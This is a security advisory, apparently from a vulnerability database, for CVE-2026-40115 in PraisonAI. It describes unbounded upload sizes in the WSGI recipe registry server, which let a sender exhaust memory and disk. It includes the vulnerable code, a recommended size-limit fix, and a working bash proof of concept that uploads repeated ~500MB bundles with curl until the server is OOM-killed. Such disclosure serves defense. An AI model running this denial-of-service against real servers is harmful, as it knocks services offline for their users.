GHSA-2XGV-5CV2-47VV

Vulnerability from github – Published: 2026-04-10 19:23 – Updated: 2026-04-10 19:23
VLAI?
Summary
PraisonAI has Unrestricted Upload Size in WSGI Recipe Registry Server that Enables Memory Exhaustion DoS
Details

Summary

The WSGI-based recipe registry server (server.py) reads the entire HTTP request body into memory based on the client-supplied Content-Length header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service. The Starlette-based server (serve.py) has RequestSizeLimitMiddleware with a 10MB limit, but the WSGI server lacks any equivalent protection.

Details

The vulnerable code path in src/praisonai/praisonai/recipe/server.py:

1. No size limit on body read (line 551-555):

content_length = int(environ.get("CONTENT_LENGTH", 0))
body = environ["wsgi.input"].read(content_length) if content_length > 0 else b""

The content_length is taken directly from the HTTP header with no maximum check. The entire body is read into a single bytes object in memory.

2. Second in-memory copy via multipart parsing (line 169-172):

result = {"fields": {}, "files": {}}
boundary_bytes = f"--{boundary}".encode()
parts = body.split(boundary_bytes)

The _parse_multipart method splits the already-buffered body and stores file contents in a dict, creating additional in-memory copies.

3. Third copy to temp file (line 420-421):

with tempfile.NamedTemporaryFile(suffix=".praison", delete=False) as tmp:
    tmp.write(bundle_content)

The bundle content is then written to disk and persisted in the registry, also without size checks.

4. Authentication disabled by default (line 91-94):

def _check_auth(self, headers: Dict[str, str]) -> bool:
    if not self.token:
        return True  # No token configured = no auth

The self.token defaults to None unless PRAISONAI_REGISTRY_TOKEN is set or --token is passed on the CLI.

The entry point is praisonai registry serve (cli/features/registry.py:176), which calls run_server() binding to 127.0.0.1:7777 by default.

In contrast, serve.py (the Starlette server) has RequestSizeLimitMiddleware at line 725-732 enforcing a 10MB default limit. The WSGI server has no equivalent.

PoC

# Start the registry server with default settings (no auth, localhost)
praisonai registry serve &

# Step 1: Create a large bundle (~500MB)
mkdir -p /tmp/dos-test
echo '{"name":"dos","version":"1.0.0"}' > /tmp/dos-test/manifest.json
dd if=/dev/zero of=/tmp/dos-test/pad bs=1M count=500
tar czf /tmp/dos-bundle.praison -C /tmp/dos-test .

# Step 2: Upload — server buffers ~500MB into RAM with no limit
curl -X POST http://127.0.0.1:7777/v1/recipes/dos/1.0.0 \
  -F 'bundle=@/tmp/dos-bundle.praison' -F 'force=true'

# Step 3: Repeat to exhaust memory
for v in 1.0.{1..10}; do
  curl -X POST http://127.0.0.1:7777/v1/recipes/dos/$v \
    -F 'bundle=@/tmp/dos-bundle.praison' &
done
# Server process will be OOM-killed

Impact

  • Memory exhaustion: A single large request can consume all available memory, crashing the server process (and potentially other processes via OOM killer).
  • Disk exhaustion: Repeated uploads persist bundles to disk at ~/.praison/registry/ with no quota, potentially filling the filesystem.
  • No authentication barrier: Default configuration requires no token, so any local process (including via SSRF from other services on the same host) can trigger this.
  • Availability impact: The registry server becomes unavailable, blocking recipe publish/download operations.

The default bind address of 127.0.0.1 limits exploitability to local attackers or SSRF scenarios. If a user binds to 0.0.0.0 (common for shared environments or containers), the attack surface extends to the network.

Recommended Fix

Add a request size limit to the WSGI application, consistent with serve.py's 10MB default:

# In create_wsgi_app(), before reading the body:
MAX_REQUEST_SIZE = 10 * 1024 * 1024  # 10MB, matching serve.py

def application(environ, start_response):
    # ... existing code ...

    # Read body with size limit
    try:
        content_length = int(environ.get("CONTENT_LENGTH", 0))
    except (ValueError, TypeError):
        content_length = 0

    if content_length > MAX_REQUEST_SIZE:
        status = "413 Request Entity Too Large"
        response_headers = [("Content-Type", "application/json")]
        body = json.dumps({
            "error": {
                "code": "request_too_large",
                "message": f"Request body too large. Max: {MAX_REQUEST_SIZE} bytes"
            }
        }).encode()
        start_response(status, response_headers)
        return [body]

    body = environ["wsgi.input"].read(content_length) if content_length > 0 else b""
    # ... rest of handler ...

Additionally, consider: - Adding a --max-request-size CLI flag to praisonai registry serve - Adding per-recipe disk quota enforcement in LocalRegistry.publish()

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.128"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:23:13Z",
    "nvd_published_at": "2026-04-09T22:16:35Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe WSGI-based recipe registry server (`server.py`) reads the entire HTTP request body into memory based on the client-supplied `Content-Length` header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service. The Starlette-based server (`serve.py`) has `RequestSizeLimitMiddleware` with a 10MB limit, but the WSGI server lacks any equivalent protection.\n\n## Details\n\nThe vulnerable code path in `src/praisonai/praisonai/recipe/server.py`:\n\n**1. No size limit on body read (line 551-555):**\n```python\ncontent_length = int(environ.get(\"CONTENT_LENGTH\", 0))\nbody = environ[\"wsgi.input\"].read(content_length) if content_length \u003e 0 else b\"\"\n```\n\nThe `content_length` is taken directly from the HTTP header with no maximum check. The entire body is read into a single `bytes` object in memory.\n\n**2. Second in-memory copy via multipart parsing (line 169-172):**\n```python\nresult = {\"fields\": {}, \"files\": {}}\nboundary_bytes = f\"--{boundary}\".encode()\nparts = body.split(boundary_bytes)\n```\n\nThe `_parse_multipart` method splits the already-buffered body and stores file contents in a dict, creating additional in-memory copies.\n\n**3. Third copy to temp file (line 420-421):**\n```python\nwith tempfile.NamedTemporaryFile(suffix=\".praison\", delete=False) as tmp:\n    tmp.write(bundle_content)\n```\n\nThe bundle content is then written to disk and persisted in the registry, also without size checks.\n\n**4. Authentication disabled by default (line 91-94):**\n```python\ndef _check_auth(self, headers: Dict[str, str]) -\u003e bool:\n    if not self.token:\n        return True  # No token configured = no auth\n```\n\nThe `self.token` defaults to `None` unless `PRAISONAI_REGISTRY_TOKEN` is set or `--token` is passed on the CLI.\n\nThe entry point is `praisonai registry serve` (cli/features/registry.py:176), which calls `run_server()` binding to `127.0.0.1:7777` by default.\n\nIn contrast, `serve.py` (the Starlette server) has `RequestSizeLimitMiddleware` at line 725-732 enforcing a 10MB default limit. The WSGI server has no equivalent.\n\n## PoC\n\n```bash\n# Start the registry server with default settings (no auth, localhost)\npraisonai registry serve \u0026\n\n# Step 1: Create a large bundle (~500MB)\nmkdir -p /tmp/dos-test\necho \u0027{\"name\":\"dos\",\"version\":\"1.0.0\"}\u0027 \u003e /tmp/dos-test/manifest.json\ndd if=/dev/zero of=/tmp/dos-test/pad bs=1M count=500\ntar czf /tmp/dos-bundle.praison -C /tmp/dos-test .\n\n# Step 2: Upload \u2014 server buffers ~500MB into RAM with no limit\ncurl -X POST http://127.0.0.1:7777/v1/recipes/dos/1.0.0 \\\n  -F \u0027bundle=@/tmp/dos-bundle.praison\u0027 -F \u0027force=true\u0027\n\n# Step 3: Repeat to exhaust memory\nfor v in 1.0.{1..10}; do\n  curl -X POST http://127.0.0.1:7777/v1/recipes/dos/$v \\\n    -F \u0027bundle=@/tmp/dos-bundle.praison\u0027 \u0026\ndone\n# Server process will be OOM-killed\n```\n\n## Impact\n\n- **Memory exhaustion**: A single large request can consume all available memory, crashing the server process (and potentially other processes via OOM killer).\n- **Disk exhaustion**: Repeated uploads persist bundles to disk at `~/.praison/registry/` with no quota, potentially filling the filesystem.\n- **No authentication barrier**: Default configuration requires no token, so any local process (including via SSRF from other services on the same host) can trigger this.\n- **Availability impact**: The registry server becomes unavailable, blocking recipe publish/download operations.\n\nThe default bind address of `127.0.0.1` limits exploitability to local attackers or SSRF scenarios. If a user binds to `0.0.0.0` (common for shared environments or containers), the attack surface extends to the network.\n\n## Recommended Fix\n\nAdd a request size limit to the WSGI application, consistent with `serve.py`\u0027s 10MB default:\n\n```python\n# In create_wsgi_app(), before reading the body:\nMAX_REQUEST_SIZE = 10 * 1024 * 1024  # 10MB, matching serve.py\n\ndef application(environ, start_response):\n    # ... existing code ...\n    \n    # Read body with size limit\n    try:\n        content_length = int(environ.get(\"CONTENT_LENGTH\", 0))\n    except (ValueError, TypeError):\n        content_length = 0\n    \n    if content_length \u003e MAX_REQUEST_SIZE:\n        status = \"413 Request Entity Too Large\"\n        response_headers = [(\"Content-Type\", \"application/json\")]\n        body = json.dumps({\n            \"error\": {\n                \"code\": \"request_too_large\",\n                \"message\": f\"Request body too large. Max: {MAX_REQUEST_SIZE} bytes\"\n            }\n        }).encode()\n        start_response(status, response_headers)\n        return [body]\n    \n    body = environ[\"wsgi.input\"].read(content_length) if content_length \u003e 0 else b\"\"\n    # ... rest of handler ...\n```\n\nAdditionally, consider:\n- Adding a `--max-request-size` CLI flag to `praisonai registry serve`\n- Adding per-recipe disk quota enforcement in `LocalRegistry.publish()`",
  "id": "GHSA-2xgv-5cv2-47vv",
  "modified": "2026-04-10T19:23:13Z",
  "published": "2026-04-10T19:23:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2xgv-5cv2-47vv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40115"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI has Unrestricted Upload Size in WSGI Recipe Registry Server that Enables Memory Exhaustion DoS"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…